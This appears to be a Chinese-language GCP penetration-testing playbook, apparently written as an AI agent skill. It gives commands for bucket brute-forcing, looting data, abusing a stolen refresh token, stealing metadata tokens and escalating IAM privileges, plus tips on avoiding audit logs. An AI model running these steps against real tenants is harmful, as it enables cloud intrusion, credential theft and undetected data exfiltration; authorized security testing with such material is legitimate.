GCP Pentesting

GCP 云环境渗透测试方法论

GCP 是全球三大公有云之一，承载了大量企业核心业务。其独特的资源层级模型（Organization → Folder → Project → Resource）、Service Account 机制和 IAM 权限继承模型构成了与 AWS/Azure 截然不同的攻击面。本技能以攻击阶段（Phase）为主线，组织从"零凭据"到"完全控制"的完整渗透路径。

GCP 与 AWS 的核心区别

深入参考

识别到具体攻击阶段后，加载对应参考文档获取完整技术细节：

• 37 服务提权路径（按集群分组） → 读 references/iam-privesc.md
• 后渗透与持久化技术清单（20+ 服务） → 读 references/post-exploit-persistence.md

Phase 0: 攻击面判断

拿到一个 GCP 相关目标后，首先判断当前手持的资产类型，决定进入哪个攻击阶段：

当前持有什么？
├── 无任何凭据
│   ├── 有目标域名/IP → Phase 1（未授权枚举）
│   ├── 有 SSRF 漏洞 → 直接打 Metadata 获取 SA Token → Phase 2
│   └── 仅知道组织名称 → OSINT + Phase 1
│
├── 有 Service Account Key（JSON 格式，含 private_key 字段）
│   └── → Phase 2（凭据验证与权限评估）
│
├── 有 OAuth Access Token（ya29. 开头）
│   └── → Phase 2（注意：有效期通常 1 小时，需快速行动）
│
├── 有 Refresh Token（从 gcloud 本地配置窃取）
│   └── → 生成新 Access Token → Phase 2（可长期维持）
│
├── 在 Compute Engine / Cloud Functions / Cloud Run 实例内部
│   └── → 通过 Metadata 获取绑定 SA 的 Token → Phase 2
│
└── 有 gcloud CLI 配置目录（~/.config/gcloud/）
    └── → 提取 access_tokens.db / credentials.db → Phase 2

GCP 凭据类型速查

OAuth Scopes 与 IAM 的关系

GCP 的 Metadata Token 受 OAuth Scopes 限制。即使 SA 在 IAM 中拥有 Owner 权限，如果 VM 配置的 Scope 仅为 cloud-platform.read-only，Token 也只能读取。绕过方法：

• 在被入侵主机上搜索 SA Key 文件（不受 Scope 限制）
• 跳转到 Scope 限制更宽松的其他 VM
• 利用 iam.serviceAccountKeys.create 权限生成新 Key

Phase 1: 未授权枚举

在没有任何 GCP 凭据的情况下，仍可对目标进行大量信息收集。

高价值枚举目标

GCS Bucket 快速枚举

# 1. 检查 Bucket 是否公开可列出
curl "https://storage.googleapis.com/TARGET-BUCKET"
gcloud storage ls gs://TARGET-BUCKET 2>/dev/null  # 如需匿名测试，先在隔离配置中禁用凭据

# 2. 暴力猜解 Bucket 名（常见命名规则）
for name in TARGET TARGET-backup TARGET-dev TARGET-staging TARGET-prod; do
  curl -s -o /dev/null -w "%{http_code} $name\n" \
    "https://storage.googleapis.com/$name"
done

# 3. 如果可读，下载敏感文件
gsutil -m cp -r gs://TARGET-BUCKET/ ./loot/ 2>/dev/null

# 自动化工具
# GCPBucketBrute - 枚举 GCS Bucket 并测试权限
python3 gcpbucketbrute.py -k TARGET_KEYWORD -w wordlist.txt

Firebase 数据库快速检测

# 尝试未授权读取 Realtime Database
curl "https://TARGET-PROJECT.firebaseio.com/.json"

# 尝试写入测试
curl -X PUT "https://TARGET-PROJECT.firebaseio.com/test.json" -d '"pwned"'

公开资源综合枚举工具

# cloud_enum - 枚举 GCS Bucket、Firebase、App Engine、Cloud Functions
python3 cloud_enum.py -k TARGET_KEYWORD

# CloudBrute - 多云公开资源暴力枚举
CloudBrute -d TARGET -k TARGET -w wordlist.txt

Phase 2: 凭据验证与权限评估

获取凭据后，第一步是验证有效性并评估权限范围。

2.1 凭据配置与身份验证

# 方式一：SA Key 文件认证
gcloud auth activate-service-account --key-file=sa_key.json

# 方式二：直接使用 OAuth Token（无需文件）
export CLOUDSDK_AUTH_ACCESS_TOKEN="ya29.xxxx"
gcloud projects list

# 方式三：使用窃取的 Refresh Token 生成新 Access Token
curl -s --data client_id=32555940559.apps.googleusercontent.com \
  --data client_secret=ZmssLNjJy2998hD4CTg2ejr2 \
  --data grant_type=refresh_token \
  --data refresh_token=STOLEN_REFRESH_TOKEN \
  --data scope="https://www.googleapis.com/auth/cloud-platform" \
  https://www.googleapis.com/oauth2/v4/token

# 身份确认
gcloud auth list
curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  "https://www.googleapis.com/oauth2/v1/tokeninfo"

2.2 组织与项目枚举

# 组织信息
gcloud organizations list
gcloud resource-manager folders list --organization ORG_NUMBER

# 项目列表
gcloud projects list

# 当前项目详情
gcloud config get-value project
gcloud projects describe PROJECT_ID

2.3 权限枚举

# 方法一：列出 SA 的 IAM 绑定（需要 iam 读权限）
gcloud projects get-iam-policy PROJECT_ID \
  --flatten="bindings[].members" \
  --filter="bindings.members:serviceAccount:SA_EMAIL" \
  --format="table(bindings.role)"

# 方法二：暴力枚举可用权限（无需 iam 读权限）
# bf_my_gcp_permissions - 暴力测试当前凭据拥有的权限
python3 bf_my_gcp_permissions.py -p PROJECT_ID

# 方法三：列出拥有 Key 的 SA（寻找更多攻击面）
for sa in $(gcloud iam service-accounts list --format="value(email)"); do
  echo "=== $sa ==="
  gcloud iam service-accounts keys list --iam-account "$sa"
done

2.4 权限评估决策树

当前身份权限如何？
├── 有 roles/owner 或 roles/editor → 已是高权限，直接 Phase 4
├── 有 iam 读权限但无写权限 → 枚举所有 SA/用户/角色，寻找提权路径 → Phase 3
├── 有特定服务权限（如 storage.*、compute.*、cloudfunctions.*）
│   ├── 检查是否有 iam.serviceAccounts.actAs → 可通过服务提权 → Phase 3
│   ├── 有 compute.instances.create + actAs → Compute 提权 → Phase 3
│   └── 可直接利用当前权限进行后渗透 → Phase 4
├── Token 受 OAuth Scopes 限制
│   └── 尝试绕过 Scopes（搜索 SA Key、跳转其他 VM）→ Phase 2
└── 权限极低 → 暴力枚举更多权限，或回到 Phase 1 寻找更多入口

参考 gcp-exploit 技能，获取 GCP IAM 提权和 GKE 攻击深度指南

参考 cloud-iam-audit 技能，进行跨云 IAM 审计

2.5 自动化审计工具

Phase 3: 提权

GCP 提权的核心思路：利用当前权限去获取更高权限。GCP 有数百个权限，其中很多组合可以形成提权路径。两大类提权模式：

1. 主体提权：冒充另一个主体（如通过 getAccessToken 冒充 SA）
2. 资源提权：在特定资源上获取更多权限（如通过 setIamPolicy 给自己加权限）

关键权限 iam.serviceAccounts.actAs 是 GCP 版的 iam:PassRole，允许将 SA 附加到资源上。

提权路径决策树

当前拥有哪些权限？
├── IAM 直接操作
│   ├── iam.roles.update → 修改已分配角色添加权限
│   ├── iam.serviceAccounts.setIamPolicy → 给自己授予 SA 的 TokenCreator
│   ├── iam.serviceAccountKeys.create → 为目标 SA 创建新 Key
│   ├── iam.serviceAccounts.getAccessToken → 直接获取 SA Token
│   ├── iam.serviceAccounts.signBlob / signJwt → 签名冒充 SA
│   └── iam.serviceAccounts.implicitDelegation → 通过委派链冒充
│
├── 服务 + actAs 组合
│   ├── compute.instances.create + actAs → 创建绑定高权限 SA 的 VM
│   ├── cloudfunctions.functions.create + actAs → 创建恶意 Cloud Function
│   ├── run.services.create + actAs → 部署恶意 Cloud Run
│   ├── cloudbuild.builds.create + actAs → 提交恶意构建任务
│   ├── composer.environments.create + actAs → 创建 Composer 注入 DAG
│   ├── cloudscheduler.jobs.create + actAs → 定时调用 googleapis.com API
│   └── aiplatform.customJobs.create + actAs → Vertex AI 任务窃取 Token
│
├── 资源 setIamPolicy
│   ├── compute.instances.setIamPolicy → 授予自己 compute.admin
│   ├── cloudfunctions.functions.setIamPolicy → 授予 invoker 权限
│   ├── storage.buckets.setIamPolicy → 获取 Bucket 读写权限
│   ├── secretmanager.secrets.setIamPolicy → 获取 Secret 访问权
│   └── bigquery.datasets.setIamPolicy → 获取数据集访问权
│
└── 间接提权
    ├── storage.objects.get → 读取 Composer DAG / Cloud Functions 代码 Bucket
    ├── container.clusters.get + K8s RBAC → GKE 集群内提权
    ├── secretmanager.versions.access → 读取存储的凭据
    └── compute.projects.setCommonInstanceMetadata → 注入 SSH Key 到所有 VM

→ 读 references/iam-privesc.md

Phase 4: 后渗透与持久化

获得较高权限后，进入后渗透阶段。目标是数据获取、横向移动和建立持久化。

4.1 高价值数据源

优先搜索哪些数据源？
├── Secret Manager → 凭据、API Key、数据库密码
├── GCS Bucket → 文档、备份、日志、配置文件
├── BigQuery → 业务数据、分析数据
├── Cloud SQL → 业务数据库
├── Firestore / Spanner → NoSQL / 分布式数据库
├── Compute Engine 磁盘快照 → 挂载后读取完整文件系统
├── Cloud Logging → 应用日志中的敏感信息
├── Artifact Registry → 容器镜像中的源码和凭据
└── Source Repositories → 代码仓库

4.2 横向移动

跨项目移动：

• 利用 Organization 级别 IAM 绑定（一个 SA 可能在多个 Project 有权限）
• 利用 Shared VPC（跨项目网络访问）
• 利用 Service Account 的跨项目 impersonation

跨服务移动：

• Compute Engine → 通过 Metadata 获取 SA Token → 访问其他服务
• GKE Node → 获取 Node SA Token → 跳出 K8s 到 GCP 平面
• Cloud Functions / Cloud Run → 修改代码执行任意操作
• Composer (Airflow) → 注入恶意 DAG

4.3 持久化技术概览

→ 读 references/post-exploit-persistence.md

Phase 5: Workspace 穿越

GCP 与 Google Workspace 之间存在深度集成关系。拥有特定 GCP 权限的攻击者可能穿越到 Workspace 层面，反之亦然。

关键穿越路径

GCP → Workspace
├── Domain-Wide Delegation（DWD）
│   ├── SA 被授予 DWD 权限 → 冒充 Workspace 任意用户
│   └── 访问 Gmail、Drive、Calendar、Admin SDK 等
├── gcloud OAuth Scope 滥用
│   └── gcloud 支持 drive scope → 窃取 Drive 文件
└── Workspace 用户密码重置
    └── 拥有 Admin SDK 权限 → 重置用户密码

Workspace → GCP
├── Workspace 管理员 → 自动拥有 Organization Admin 权限
├── Group 成员管理 → 添加到有 GCP 权限的 Group
└── SAML/OIDC Federation → 利用 Identity Provider 信任关系

参考 gcp-workspace-pivot 技能，获取 GCP 到 Workspace 穿越完整指南

附录: GCP 速查

常用 gcloud 命令

# 身份与权限
gcloud auth list                                          # 当前认证身份
gcloud auth print-access-token                            # 打印 Access Token
gcloud projects get-iam-policy PROJECT_ID                 # 项目 IAM 策略
gcloud iam service-accounts list                          # 列出所有 SA
gcloud organizations list                                 # 列出组织

# 资源枚举
gcloud compute instances list                             # 列出 Compute 实例
gcloud storage ls                                         # 列出 GCS Bucket
gcloud functions list                                     # 列出 Cloud Functions
gcloud run services list                                  # 列出 Cloud Run 服务
gcloud sql instances list                                 # 列出 Cloud SQL
gcloud secrets list                                       # 列出 Secret Manager
gcloud container clusters list                            # 列出 GKE 集群

# Metadata 服务（从实例内部）
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/project-id"
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"

GCP 服务缩写对照表

注意事项

Cloud Audit Logs 审计感知： GCP 的审计日志分为两类：

高风险操作（必定触发 Admin Activity 日志）：

• IAM 变更（CreateServiceAccount、CreateServiceAccountKey、SetIamPolicy）
• 资源创建（CreateInstance、DeployFunction、CreateCluster）
• 角色变更（iam.roles.update、setIamPolicy）

检测绕过注意事项：

• 数据平面操作（GCS 读取、BigQuery 查询）在默认配置下不记录
• Metadata 服务访问不产生 Cloud Audit Log
• Organization Policy 可能限制 SA Key 创建、外部 IP 分配等操作
• VPC Service Controls 可能阻止数据离开受保护的项目边界

区域差异： GCP 资源是区域/多区域隔离的。枚举时需遍历所有可用区域。全球服务（IAM、Cloud Resource Manager）不受区域限制。